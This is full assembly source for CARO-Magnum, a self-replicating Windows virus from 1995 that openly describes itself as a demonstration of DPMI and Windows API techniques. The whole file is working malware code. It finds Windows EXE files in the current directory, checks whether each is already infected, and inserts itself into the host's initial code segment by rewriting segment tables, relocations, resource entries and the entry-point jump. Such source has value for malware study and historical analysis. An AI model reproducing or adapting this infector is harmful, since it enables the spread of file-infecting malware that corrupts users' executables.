;CARO.ASM: CARO-Magnum, a Windows virus. Launched as a Windows EXE file. This ;demonstrates the use of DPMI and the Windows API in a virus. ;(C) 1995 American Eagle Publications, Inc. All rights reserved. .386 ;Useful constants DATABUF_SIZE EQU 4096 ;size of read/write buf NEW_HDR_SIZE EQU 40H ;size of new EXE header VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS ;size of virus EXTRN PostQuitMessage:FAR EXTRN _lopen:FAR, _lread:FAR, _lwrite:FAR, _llseek:FAR, _lclose:FAR DGROUP GROUP _DATA,_STACK CODE SEGMENT PARA USE16 'CODE' ASSUME CS:CODE, DS:_DATA PUBLIC VIRUS ;****************************************************************************** ;This is the main virus routine. It simply finds a file to infect and infects ;it, and then passes control to the host program. It resides in the first ;segment of the host program, that is, the segment where control is initially ;passed. VIRUS PROC FAR pushf push ax ;save all registers push bx push cx push dx push si push di push bp push ds push es call CREATE_DS ;create the data segment call VIR_START ;find starting offset of virus VIR_START: pop si sub si,OFFSET VIR_START mov [VSTART],si call INIT_DS call FIND_FILE ;find a viable file to infect jnz SHORT GOTO_HOST ;z set if a file was found call INFECT_FILE ;infect it if found GOTO_HOST: call DESTROY_DS ;clean up memory pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax popf VIRUS_DONE: jmp HOST ;pass control to host program VIRUS ENDP db '(C) 1995 American Eagle Publications Inc., All rights reserved.' ;This routine creates a data segment for the virus. To do that, it ;(1) allocates memory for the virus (2) creates a data segment for that memory ;(3) sets up ds and es with this new selector, and (4) saves the handle for ;the memory so it can be freed when done. CREATE_DS: mov ax,501H ;first allocate a block of memory xor bx,bx mov cx,OFFSET DATAEND - OFFSET DATASTART int 31H ;using DPMI push si ;put handle on stack push di push bx ;put linear address on stack push cx mov ax,0 ;now allocate a descriptor for the block mov cx,1 int 31H mov bx,ax ;set segment base address mov ax,7 pop dx pop cx int 31H mov ax,8 ;set segment limit mov dx,OFFSET DATAEND - OFFSET DATASTART xor cx,cx int 31H mov ax,9 ;now set access rights mov cx,0000000011110010B ;read/write data segment int 31H mov ds,bx ;and set up selectors mov es,bx pop di pop si mov WORD PTR [MEM_HANDLE],si ;save handle here mov WORD PTR [MEM_HANDLE+2],di ret CFILE_ID1 DB '*.EXE',0 CFILE_ID2 DB '*.DLL',0 CKNAME DB 'KERNEL' ;Initialize data in data segment. INIT_DS: mov si,OFFSET CFILE_ID1 ;move constant strings to ds add si,[VSTART] mov di,OFFSET FILE_ID1 mov cx,OFFSET INIT_DS - OFFSET CFILE_ID1 CDL: mov al,cs:[si] inc si stosb loop CDL ret ;all done ;This routine frees the memory allocated by CREATE_DS. DESTROY_DS: mov si,WORD PTR [MEM_HANDLE] ;get handle mov di,WORD PTR [MEM_HANDLE+2] mov ax,502H ;free memory block int 31H ;using DPMI ret ;****************************************************************************** ;This routine searches for a file to infect. It looks for EXE files and then ;checks them to see if they're uninfected, infectable Windows files. If a file ;is found, this routine returns with Z set, with the file left open, and its ;handle in the bx register. This FIND_FILE searches only the current directory. FIND_FILE: mov dx,OFFSET FILE_ID1 xor cx,cx ;file attribute mov ah,4EH ;search first int 21H FIND_LOOP: or al,al ;see if search successful jnz SHORT FIND_EXIT ;nope, exit with NZ set call FILE_OK ;see if it is infectable jz SHORT FIND_EXIT ;yes, get out with Z set mov ah,4FH ;no, search for next file int 21H jmp FIND_LOOP FIND_EXIT: ;pass control back to main routine ret ;This routine determines whether a file is ok to infect. The conditions for an ;OK file are as follows: ; ; (1) It must be a Windows EXE file. ; (2) There must be enough room in the initial code segment for it. ; (3) The file must not be infected already. ; ;If the file is OK, this routine returns with Z set, the file open, and the ;handle in bx. If the file is not OK, this routine returns with NZ set, and ;it closes the file. This routine also sets up a number of important variables ;as it snoops through the file. These are used by the infect routine later. FILE_OK: mov ah,2FH int 21H ;get current DTA address in es:bx push es push ds pop es pop ds ;exchange ds and es mov si,bx ;put address in ds:dx add si,30 ;set ds:dx to point to file name mov di,OFFSET FILE_NAME mov cx,13 rep movsb ;put file name in data segment push es ;restore ds now pop ds mov dx,OFFSET FILE_NAME call FILE_OPEN ;open the file or ax,ax jnz SHORT FOK1 jmp FOK_ERROR2 ;yes, exit now FOK1: mov bx,ax ;open ok, put handle in bx mov dx,OFFSET NEW_HDR ;ds:dx points to header buffer mov cx,40H ;read 40H bytes call FILE_READ ;ok, read EXE header cmp WORD PTR [NEW_HDR],5A4DH;see if first 2 bytes are 'MZ' jnz SHORT FN1 ;nope, file not an EXE, exit cmp WORD PTR [NEW_HDR+18H],40H ;see if rel tbl at 40H or more jc SHORT FN1 ;nope, it can't be a Windows EXE mov dx,WORD PTR [NEW_HDR+3CH] ;ok, put offset to new header in dx mov [NH_OFFSET],dx ;and save it here xor cx,cx call FILE_SEEK_ST ;now do a seek from start mov cx,NEW_HDR_SIZE ;now read the new header mov dx,OFFSET NEW_HDR call FILE_READ cmp WORD PTR [NEW_HDR],454EH ;see if this is 'NE' new header ID jnz SHORT FN1 ;nope, not a Windows EXE! mov al,[NEW_HDR+36H] ;get target OS flags and al,2 ;see if target OS = windows jnz SHORT FOK2 ;ok, go on FN1: jmp FOK_ERROR1 ;else exit ;If we get here, then condition (1) is fulfilled. FOK2: mov dx,WORD PTR [NEW_HDR+16H] ;get initial cs call GET_SEG_ENTRY ;and read seg table entry into disk buf mov ax,WORD PTR [TEMP+2] ;put segment length in ax add ax,VIRUS_SIZE ;add size of virus to it jc SHORT FOK_ERROR1 ;if we carry, there's not enough room ;else we're clear on this count ;If we get here, then condition (2) is fulfilled. mov cx,WORD PTR [NEW_HDR+32H] ;logical sector alignment mov ax,1 shl ax,cl ;ax=logical sector size mov cx,WORD PTR [TEMP] ;get logical-sector offset of start seg mul cx ;byte offset in dx:ax add ax,WORD PTR [NEW_HDR+14H] ;add in ip of entry point adc dx,0 mov cx,dx mov dx,ax ;put entry point in cx:dx call FILE_SEEK_ST ;and seek from start of file mov cx,20H ;read 32 bytes mov dx,OFFSET TEMP ;into buffer call FILE_READ mov si,[VSTART] mov di,OFFSET TEMP mov cx,10H ;compare 32 bytes FOK3: mov ax,cs:[si] add si,2 cmp ax,ds:[di] jne SHORT FOK4 add di,2 loop FOK3 FOK_ERROR1: call FILE_CLOSE FOK_ERROR2: mov al,1 or al,al ;set NZ ret ;and return to caller ;If we get here, then condition (3) is fulfilled, all systems go! FOK4: xor al,al ;set Z flag ret ;and exit ;****************************************************************************** ;This routine modifies the file we found to put the virus in it. There are a ;number of steps in the infection process, as follows: ; 1) We have to modify the segment table. For the initial segment, this ; involves (a) increasing the segment size by the size of the virus, ; and (b) increase the minimum allocation size of the segment, if it ; needs it. Every segment AFTER this initial segment must also be ; adjusted by adding the size increase, in sectors, of the virus ; to it. ; 2) We have to change the starting ip in the new header. The virus is ; placed after the host code in this segment, so the new ip will be ; the old segment size. ; 3) We have to move all sectors in the file after the initial code segment ; out by VIRSECS, the size of the virus in sectors. ; 4) We have to move the relocatables, if any, at the end of the code ; segment we are infecting, to make room for the virus code. Then we ; must add the viral relocatables to the relocatable table. ; 5) We must move the virus code into the code segment we are infecting. ; 6) We must adjust the jump in the virus to go to the original entry point. ; 7) We must adjust the resource offsets in the resource table to reflect ; their new locations. ; 8) We have to kill the fast-load area. ; INFECT_FILE: mov dx,WORD PTR [NEW_HDR+24H] ;get resource table @ add dx,ds:[NH_OFFSET] xor cx,cx call FILE_SEEK_ST mov dx,OFFSET LOG_SEC mov cx,2 call FILE_READ mov cx,[LOG_SEC] mov ax,1 shl ax,cl mov [LOG_SEC],ax ;put logical sector size here mov ax,WORD PTR [NEW_HDR+14H] ;save old entry point mov [ENTRYPT],ax ;for future use mov dx,WORD PTR [NEW_HDR+16H] ;read seg table entry call GET_SEG_ENTRY ;for initial cs mov ax,WORD PTR [TEMP] ;get location of this seg in file mov [INITSEC],ax ;save that here mov ax,WORD PTR [TEMP+2] ;get segment size mov WORD PTR [NEW_HDR+14H],ax ;update entry ip in new header in ram call SET_RELOCS ;set up RELOCS and CS_SIZE mov si,[VSTART] mov ax,cs:[si+ARELOCS] ;now calculate added size of segment shl ax,3 ;multiply ARELOCS by 8 add ax,VIRUS_SIZE add ax,[CS_SIZE] ;ax=total new size xor dx,dx mov cx,[LOG_SEC] div cx ;ax=full sectors in cs with virus or dx,dx ;any remainder? jz SHORT INF05 inc ax ;adjust for partially full sector INF05: push ax mov ax,[CS_SIZE] ;size without virus xor dx,dx div cx or dx,dx jz SHORT INF07 inc ax INF07: pop cx sub cx,ax ;cx=number of secs needed for virus mov [VIRSECS],cx ;save this here call UPDATE_SEG_TBL ;perform mods in (1) above on file mov dx,[NH_OFFSET] xor cx,cx call FILE_SEEK_ST ;now move file pointer to new header mov di,OFFSET NEW_HDR + 37H ;zero out fast load area xor ax,ax stosb stosw stosw ;(8) completed mov dx,OFFSET NEW_HDR mov cx,NEW_HDR_SIZE ;update new header in file call FILE_WRITE ;mods in (2) above now complete call MOVE_END_OUT ;move end of virus out by VIRSECS (3) ;also sets up RELOCS count call SETUP_KERNEL ;put KERNEL module into virus relocs call RELOCATE_RELOCS ;relocate relocatables in cs (4) INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6) call UPDATE_RES_TABLE ;update resource table entries call FILE_CLOSE ;close file now INF2: ret ;The following procedure updates the Segment Table entries per item (1) in ;INFECT_FILE. UPDATE_SEG_TBL: mov dx,WORD PTR [NEW_HDR+16H] ;read seg table entry call GET_SEG_ENTRY ;for initial cs mov ax,WORD PTR [TEMP+2] ;get seg size add ax,VIRUS_SIZE ;add the size of the virus to seg size mov WORD PTR [TEMP+2],ax ;and update size in seg table mov ax,WORD PTR [TEMP+6] ;get min allocation size of segment or ax,ax ;is it 64K? jz SHORT US2 ;yes, leave it alone US1: add ax,VIRUS_SIZE ;add virus size on jnc SHORT US2 ;no overflow, go and update xor ax,ax ;else set size = 64K US2: mov WORD PTR [TEMP+6],ax ;update size in table in ram mov al,1 mov cx,0FFFFH mov dx,-8 call FILE_SEEK ;back up to location of seg table entry mov dx,OFFSET TEMP ;and write modified seg table entry mov cx,8 ;for initial cs to segment table call FILE_WRITE ;ok, init cs seg table entry is modified mov di,WORD PTR [NEW_HDR+1CH] ;get number of segment table entries US3: push di ;save table entry counter mov dx,di ;dx=seg table entry # to read call GET_SEG_ENTRY ;read it into disk buffer mov ax,WORD PTR [TEMP] ;get offset of this segment in file cmp ax,[INITSEC] ;higher than initial code segment? jle SHORT US4 ;nope, don't adjust add ax,[VIRSECS] ;yes, add the size of virus in US4: mov WORD PTR [TEMP],ax ;adjust segment loc in memory mov al,1 mov cx,0FFFFH mov dx,-8 call FILE_SEEK ;back up to location of seg table entry mov dx,OFFSET TEMP mov cx,8 call FILE_WRITE ;and write modified seg table entry pop di ;restore table entry counter dec di jnz US3 ;and loop until all segments done ret ;all done ;This routine goes to the segment table entry number specified in dx in the ;file and reads it into the TEMP buffer. dx=1 is the first entry! GET_SEG_ENTRY: dec dx mov cl,3 shl dx,cl add dx,[NH_OFFSET] add dx,WORD PTR [NEW_HDR+22H] ;dx=ofs of seg table entry requested xor cx,cx ;in the file call FILE_SEEK_ST ;go to specified table entry jc SHORT GSE1 ;exit on error mov dx,OFFSET TEMP mov cx,8 call FILE_READ ;read table entry into disk buf GSE1: ret ;This routine moves the end of the virus out by VIRSECS. The "end" is ;everything after the initial code segment where the virus will live. ;The variable VIRSECS is assumed to be properly set up before this is called. MOVE_END_OUT: mov ax,[CS_SIZE] ;size of cs in bytes, before infect mov cx,[LOG_SEC] xor dx,dx div cx or dx,dx jz SHORT ME01 inc ax ME01: add ax,[INITSEC] ;ax=next sector after cs push ax ;save it xor dx,dx xor cx,cx mov al,2 ;seek end of file call FILE_SEEK ;returns dx:ax = file size mov cx,[LOG_SEC] div cx ;ax=sectors in file or dx,dx jz ME015 ;adjust for extra bytes inc ax ME015: mov dx,ax ;keep it here pop di ;di=lowest sector to move sub dx,di ;dx=number of sectors to move MEO2: push dx push di call MOVE_SECTORS ;move as much as data buffer allows pop di ;number moved returned in ax pop dx sub dx,ax or dx,dx jnz MEO2 ret ;This routine moves as many sectors as buffer will permit, up to the number ;requested. On entry, dx=maximum number of sectors to move, and di=lowest ;sector number to move. This routine works from the end of the file, so if ;X is the number of sectors to be moved, it will move all the sectors from ;di+dx-X to di+dx-1. All sectors are move out by [VIRSECS]. MOVE_SECTORS: push dx ;first determine # of secs to move mov ax,DATABUF_SIZE mov cx,[LOG_SEC] xor dx,dx div cx ;ax=data buf size in logical sectors pop dx cmp ax,dx ;is ax>dx? (max sectors to move) jle SHORT MS1 mov ax,dx ;ax=# secs to move now MS1: push ax ;save it till end add di,dx sub di,ax ;di=1st sector to move mov cx,[LOG_SEC] mul cx ;ax=bytes to move this time push ax ;save it on stack mov ax,di mov cx,[LOG_SEC] mul cx mov cx,dx mov dx,ax call FILE_SEEK_ST ;seek starting sector to move pop cx ;cx=bytes to read push cx mov dx,OFFSET TEMP call FILE_READ ;and read it mov ax,di add ax,[VIRSECS] ;ax=location to move to, in secs mov cx,[LOG_SEC] mul cx ;dx:ax=loc to move to, in bytes mov cx,dx ;set up seek function mov dx,ax call FILE_SEEK_ST ;and move there pop cx ;bytes to write mov dx,OFFSET TEMP call FILE_WRITE ;and write proper number of bytes there pop ax ;report sectors moved this time ret ;This routine sets the variable RELOCS and CS_SIZE variables in memory from the ;uninfected file. Then it updates the relocs counter in the file to add the ;number of relocatables required by the virus. SET_RELOCS: mov WORD PTR [RELOCS],0 mov dx,WORD PTR [NEW_HDR+16H] ;read init cs seg table entry call GET_SEG_ENTRY mov ax,WORD PTR [TEMP+4] ;get segment flags xor dx,dx and ah,1 ;check for relocation data mov ax,WORD PTR [NEW_HDR+14H] ;size of segment is this jz SHORT SRE ;no data, continue push ax push ax ;there is relocation data, how much? mov ax,[INITSEC] ;find end of code in file mov cx,[LOG_SEC] mul cx ;dx:ax = start of cs in file pop cx ;cx = size of code add ax,cx adc dx,0 mov cx,dx mov dx,ax ;cx:dx = end of cs in file push cx push dx call FILE_SEEK_ST ;so go seek it mov dx,OFFSET RELOCS mov cx,2 call FILE_READ ;read 2 byte count of relocatables pop dx pop cx call FILE_SEEK_ST ;go back to that location mov ax,[RELOCS] push ax mov si,[VSTART] add ax,cs:[si+ARELOCS] mov [RELOCS],ax mov cx,2 mov dx,OFFSET RELOCS ;and update relocs in the file call FILE_WRITE ;adding arelocs to it pop [RELOCS] mov ax,[RELOCS] shl ax,3 add ax,2 ;size of relocation data pop cx ;size of code in segment xor dx,dx add ax,cx ;total size of segment adc dx,0 SRE: mov [CS_SIZE],ax ;save it here ret ;This routine relocates the relocatables at the end of the initial code ;segment to make room for the virus. It will move any number of relocation ;records, each of which is 8 bytes long. It also adds the new relocatables ;for the virus to the file. RELOCATE_RELOCS: mov ax,[RELOCS] ;number of relocatables mov cl,3 shl ax,cl add ax,2 ;ax=total number of bytes to move push ax mov ax,[INITSEC] mov cx,[LOG_SEC] mul cx ;dx:ax = start of cs in file add ax,WORD PTR [NEW_HDR+14H] adc dx,0 ;dx:ax = end of cs in file pop cx ;cx = size of relocatables add ax,cx adc dx,0 ;dx:ax = end of code+relocatables xchg ax,cx xchg dx,cx ;ax=size cx:dx=location RR_LP: push cx push dx push ax cmp ax,DATABUF_SIZE jle SHORT RR1 mov ax,DATABUF_SIZE ;read up to DATABUF_SIZE bytes RR1: sub dx,ax ;back up file pointer sbb cx,0 push cx push dx push ax call FILE_SEEK_ST ;seek desired location in file pop cx mov dx,OFFSET TEMP call FILE_READ ;read needed number of bytes, # in ax pop dx pop cx push ax ;save # of bytes read add dx,VIRUS_SIZE ;move file pointer up now adc cx,0 call FILE_SEEK_ST pop cx ;bytes to write mov dx,OFFSET TEMP call FILE_WRITE ;write them to new location pop ax pop dx pop cx cmp ax,DATABUF_SIZE ;less than DATABUF_SIZE bytes to write? jle SHORT RRE ;yes, we're all done sub ax,DATABUF_SIZE ;nope, adjust indicies sub dx,DATABUF_SIZE sbb cx,0 jmp RR_LP ;and go do another RRE: mov si,[VSTART] mov cx,cs:[si+ARELOCS] ;now add ARELOCS relocatables to the end push si mov di,OFFSET TEMP add si,OFFSET ARELOCS + 2 ;si points to relocatable table RRL: mov ax,cs:[si] ;move relocatables to buffer and adjust stosw add si,2 mov ax,cs:[si] add si,2 add ax,WORD PTR [NEW_HDR+14H] ;add orig code size to the offset here stosw mov ax,[KERNEL] ;put kernel module ref no next add si,2 stosw mov ax,cs:[si] add si,2 stosw loop RRL pop si mov dx,OFFSET TEMP mov cx,cs:[si+ARELOCS] shl cx,3 call FILE_WRITE ;and put them in the file ret ;This routine finds the KERNEL module in the module reference table, and puts ;it into the virus relocation records. SETUP_KERNEL: xor cx,cx mov dx,WORD PTR [NEW_HDR+28H] ;go to start of module ref tbl add dx,[NH_OFFSET] adc cx,0 call FILE_SEEK_ST mov dx,OFFSET TEMP mov cx,40H ;read up to 32 module ofs's to call FILE_READ ;the TEMP buffer mov si,OFFSET TEMP SK1: lodsw ;get a module offset push si mov dx,[NH_OFFSET] ;lookup in imported name tbl add dx,WORD PTR [NEW_HDR+2AH] add dx,ax inc dx xor cx,cx call FILE_SEEK_ST ;prep to read module name mov cx,40H mov dx,OFFSET TEMP + 40H call FILE_READ ;read it into TEMP at 40H pop ax push ax sub ax,OFFSET TEMP shr ax,1 mov [KERNEL],ax ;assume this is KERNEL cmp ax,WORD PTR [NEW_HDR+1EH] ;last entry? jge SHORT SK2 ;yes, use it by default mov di,OFFSET TEMP + 40H mov si,OFFSET KNAME mov cx,6 repz cmpsb ;check it jnz SHORT SK3 ;wasn't it, continue SK2: pop si ;else exit with KERNEL set as is ret SK3: pop si jmp SK1 ;This routine writes the virus code itself into the code segment being infected. ;It also updates the jump which exits the virus so that it points to the old ;entry point in this segment. WRITE_VIRUS_CODE: mov ax,[INITSEC] ;sectors to code segment mov cx,[LOG_SEC] mul cx ;dx:ax = location of code seg add ax,WORD PTR [NEW_HDR+14H] adc dx,0 ;dx:ax = place to put virus mov cx,dx mov dx,ax push cx push dx ;save these to adjust jump call FILE_SEEK_ST ;seek there mov di,OFFSET TEMP ;move virus code to data segment now mov cx,VIRUS_SIZE mov si,[VSTART] WVCL: mov al,cs:[si] inc si stosb loop WVCL mov si,[VSTART] ;now set relocatable areas in code to add si,OFFSET ARELOCS ;FFFF 0000 mov cx,cs:[si] add si,4 WVC2: mov di,cs:[si] add di,OFFSET TEMP mov ax,0FFFFH stosw inc ax stosw add si,8 loop WVC2 mov cx,VIRUS_SIZE ;cx=size of virus mov dx,OFFSET TEMP ;dx=offset of start of virus call FILE_WRITE ;write virus to file now pop dx ;ok, now we have to update the jump pop cx ;to the host mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS inc ax add dx,ax adc cx,0 ;cx:dx=location to update push ax call FILE_SEEK_ST ;go there pop ax inc ax inc ax add ax,WORD PTR [NEW_HDR+14H] ;ax=offset of instr after jump sub ax,[ENTRYPT] ;ax=distance to jump neg ax ;make it a negative number mov WORD PTR [TEMP],ax ;save it here mov cx,2 ;and write it to disk mov dx,OFFSET TEMP call FILE_WRITE ;all done ret ;Update the resource table so sector pointers are right. UPDATE_RES_TABLE: mov dx,WORD PTR [NEW_HDR+24H] ;move to resource table in EXE add dx,[NH_OFFSET] add dx,2 xor cx,cx call FILE_SEEK_ST URT1: mov dx,OFFSET TEMP mov cx,8 call FILE_READ ;read 8 byte typeinfo record cmp WORD PTR [TEMP],0 ;is type ID 0? jz SHORT URTE ;yes, all done mov cx,WORD PTR [TEMP+2] ;get count of nameinfo records to read URT2: push cx mov dx,OFFSET TEMP mov cx,12 call FILE_READ ;read 1 nameinfo record mov ax,WORD PTR [TEMP] ;get offset of resource cmp ax,[INITSEC] ;greater than initial cs location? jle SHORT URT3 ;nope, don't worry about it add ax,[VIRSECS] ;add size of virus mov WORD PTR [TEMP],ax mov dx,-12 mov cx,0FFFFH mov al,1 ;now back file pointer up call FILE_SEEK mov dx,OFFSET TEMP ;and write updated resource rec to mov cx,12 ;the file call FILE_WRITE URT3: pop cx dec cx ;read until all nameinfo records for jnz URT2 ;this typeinfo are done jmp URT1 ;go get another typeinfo record URTE: ret ;****************************************************************************** ;Calls to KERNEL-based file i/o go here. FILE_OPEN: push es push ds ;push pointer to file name push dx push 2 ;open in read/write mode ROPEN: call FAR PTR _lopen ; DB 09AH ;call far ptr _lopen ;ROPEN: DW 0FFFFH,0 pop es ret ;return with handle in ax FILE_READ: push es push bx ;preserve bx through this call push bx ;and pass handle to _lread push ds push dx ;buffer to read to push cx ;bytes to read RREAD: call FAR PTR _lread ; DB 09AH ;call far ptr _lread ;RREAD: DW 0FFFFH,0 pop bx pop es ret FILE_WRITE: push es push bx ;preserve bx through this call push bx ;and pass handle to _lwrite push ds push dx ;buffer to write from push cx ;bytes to write RWRITE: call FAR PTR _lwrite ; DB 09AH ;call far ptr _lwrite ;RWRITE: DW 0FFFFH,0 pop bx pop es ret FILE_SEEK_ST: xor al,al FILE_SEEK: push es push bx ;preserve bx in this call push bx ;and push for call push cx push dx ;number of bytes to move xor ah,ah ;ax=origin to seek from push ax ;0=beginning, 1=current, 2=end RSEEK: call FAR PTR _llseek ; DB 09AH ;call far ptr _llseek ;RSEEK: DW 0FFFFH,0 pop bx pop es ret FILE_CLOSE: push bx ;pass handle to _lclose RCLOSE: call FAR PTR _lclose ; DB 09AH ;call far ptr _lclose ;RCLOSE: DW 0FFFFH,0 ret ;****************************************************************************** ;The following HOST is only here for the inital startup program. Once the virus ;infects a file, the virus will jump to the startup code for the program it ;is attached to. HOST: push 0 call FAR PTR PostQuitMessage ;terminate program (USER) ;The following are the relocatables added to the relocation table in this ;sector in order to accomodate the virus. This must be the last thing in the ;code segment in order for the patch program to work properly. ARELOCS DW 5 ;number of relocatables to add R_OPEN DW 103H,OFFSET ROPEN+1,1,85 ;relocatables table R_READ DW 103H,OFFSET RREAD+1,1,82 R_WRITE DW 103H,OFFSET RWRITE+1,1,86 R_SEEK DW 103H,OFFSET RSEEK+1,1,84 R_CLOSE DW 103H,OFFSET RCLOSE+1,1,81 ;****************************************************************************** END_VIRUS: ;label for the end of the windows virus CODE ENDS ;No data is hard-coded into the data segment since in Windows, the virus must ;allocate the data segment when it runs. As such, we must assume it will be ;filled with random garbage when the program starts up. The CREATE_DS routine ;below initializes some of the data used in this segment that would be ;hard-coded in a normal program. _DATA SEGMENT PARA USE16 'DATA' DATASTART EQU $ FILE_ID1 DB 6 dup (?) ;for searching for files FILE_ID2 DB 6 dup (?) ;for searching for files KNAME DB 6 dup (?) ;"KERNEL" FILE_NAME DB 13 dup (?) ;file name VSTART DW ? ;starting offset of virus in ram ENTRYPT DW ? ;initial ip of virus start NH_OFFSET DW ? ;new hdr offs from start of file VIRSECS DW ? ;secs added to file for virus INITSEC DW ? ;init cs loc in file (sectors) RELOCS DW ? ;number of relocatables in cs LOG_SEC DW ? ;logical sector size for program CS_SIZE DW ? ;code segment size KERNEL DW ? ;KERNEL module number MEM_HANDLE DD ? ;memory handle for data segment NEW_HDR DB NEW_HDR_SIZE dup (?) ;space to put new exe header in TEMP DB DATABUF_SIZE dup (?) ;temporary data storage DATAEND EQU $ _DATA ENDS _STACK SEGMENT PARA USE16 STACK 'STACK' _STACK ENDS END VIRUS